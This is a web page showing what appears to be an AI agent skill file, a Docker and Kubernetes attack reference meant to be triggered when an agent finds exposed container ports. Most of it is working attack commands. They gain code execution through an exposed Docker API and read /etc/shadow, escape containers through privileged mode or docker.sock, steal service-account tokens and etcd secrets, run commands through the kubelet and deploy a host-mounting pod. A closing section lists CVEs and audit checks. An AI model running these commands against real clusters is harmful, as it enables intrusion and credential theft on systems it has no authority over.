Skip to content
FunCoding

svc-docker-k8s

Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock.

Star
1,278
Category
Ops & cloud
License
MIT
Last commit
Nov 30, 2026

skills/services/docker-k8s/SKILL.md

View on GitHub

Docker & Kubernetes Attack Reference

Docker API (2375/2376)

# Check for exposed Docker daemon
curl http://<target>:2375/version
curl http://<target>:2375/containers/json

# RCE via container creation
curl -X POST http://<target>:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}'

# Then start and read logs
curl -X POST http://<target>:2375/containers/<id>/start
curl http://<target>:2375/containers/<id>/logs?stdout=true

Container Escape

# Check if inside container
cat /proc/1/cgroup | grep -i docker
ls -la /.dockerenv

# Privileged container escape
fdisk -l                           # can see host disks?
mount /dev/sda1 /mnt && chroot /mnt

# Docker socket mounted
ls -la /var/run/docker.sock
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt

# CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container

Kubernetes API (6443/8443)

# Unauthenticated access
curl -k https://<target>:6443/api
curl -k https://<target>:6443/api/v1/namespaces
curl -k https://<target>:6443/api/v1/pods
curl -k https://<target>:8443/version

# With token (from pod service account)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets

# kubelet API (10250)
curl -k https://<target>:10250/pods
curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id"

K8s RBAC Abuse

# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods

# Pod with host mount (if create pods allowed)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  containers:
  - name: pwned
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow"]
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
EOF

etcd (2379)

# Unauthenticated etcd — contains all K8s secrets
etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix

2024-2025 additions

CVE-2024-21626 (runc <1.1.12 / CRI-O / containerd)

Container escape via WORKDIR handling — malicious image builds can overwrite host runc binary. Patched in runc 1.1.12+, containerd 1.7.11+, CRI-O 1.28.3+. Check: runc --version, containerd --version.

CVE-2024-7646 (containerd <1.7.13 / 2.0.0-rc.0)

Container escape via runc symlink exchange in checkpoint/restore. Affects Kubernetes clusters using containerd with checkpointing enabled. Upgrade containerd.

Kubernetes — ValidatingAdmissionPolicy (1.26+ beta, 1.30+ GA)

CEL-based policies replace webhooks; check for bypasses in matchConditions. kubectl get validatingadmissionpolicies.

EKS / GKE / AKS — managed control plane audit

  • EKS: aws eks describe-cluster --name <cluster> --query 'cluster.identity.oidc.issuer' → IRSA trust. Check aws iam list-roles --path-prefix /aws-eks/.
  • GKE: gcloud container clusters describe <cluster> --format='value(workloadIdentityConfig.workloadPool)' → WI pool. Check gcloud projects get-iam-policy for roles/container.developer on default SA.
  • AKS: az aks show --resource-group <rg> --name <cluster> --query 'aadProfile.managed' → Azure AD integration. Check az aks show --query 'networkProfile.loadBalancerSku'.

Kubelet (10250) — anonymous auth / read-only port

  • curl -k https://<node>:10250/pods — if 200, anonymous pod listing.
  • curl -k https://<node>:10250/metrics — prometheus metrics leak pod/container info.
  • Read-only port (10255): deprecated but still on older clusters. curl http://<node>:10255/pods.

Service Account token projection (1.24+)

  • Projected SA tokens (serviceaccount volume) rotate automatically. kubectl exec <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token → short-lived JWT. Check kubectl get sa <sa> -o yaml for tokenRequestExpiration.

NetworkPolicy / CNI bypass

  • Calico/Cilium/Weave: Default allow unless explicit NetworkPolicy exists. kubectl get networkpolicy -A — empty = flat network.
  • Cilium BPF-based: cilium policy get — verify L7 policies (HTTP path/method) not just L3/L4.

Similar Skills

Featured

internal-comms

Write internal communications following company formats, including status reports, leadership updates, and newsletters.

ANanthropics/skills203k2,822 new stars in the last 7 days

canary

GAgarrytan/gstack143k524 new stars in the last 7 days

observability-and-instrumentation

ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days

Featured

shipping-and-launch

A pre-launch checklist covering monitoring, staged rollouts and rollback plans.

ADaddyosmani/agent-skills122k1,421 new stars in the last 7 days

paperclip-board

PApaperclipai/paperclip119k1,727 new stars in the last 7 days

ruview-configure

RUruvnet/RuView106k596 new stars in the last 7 days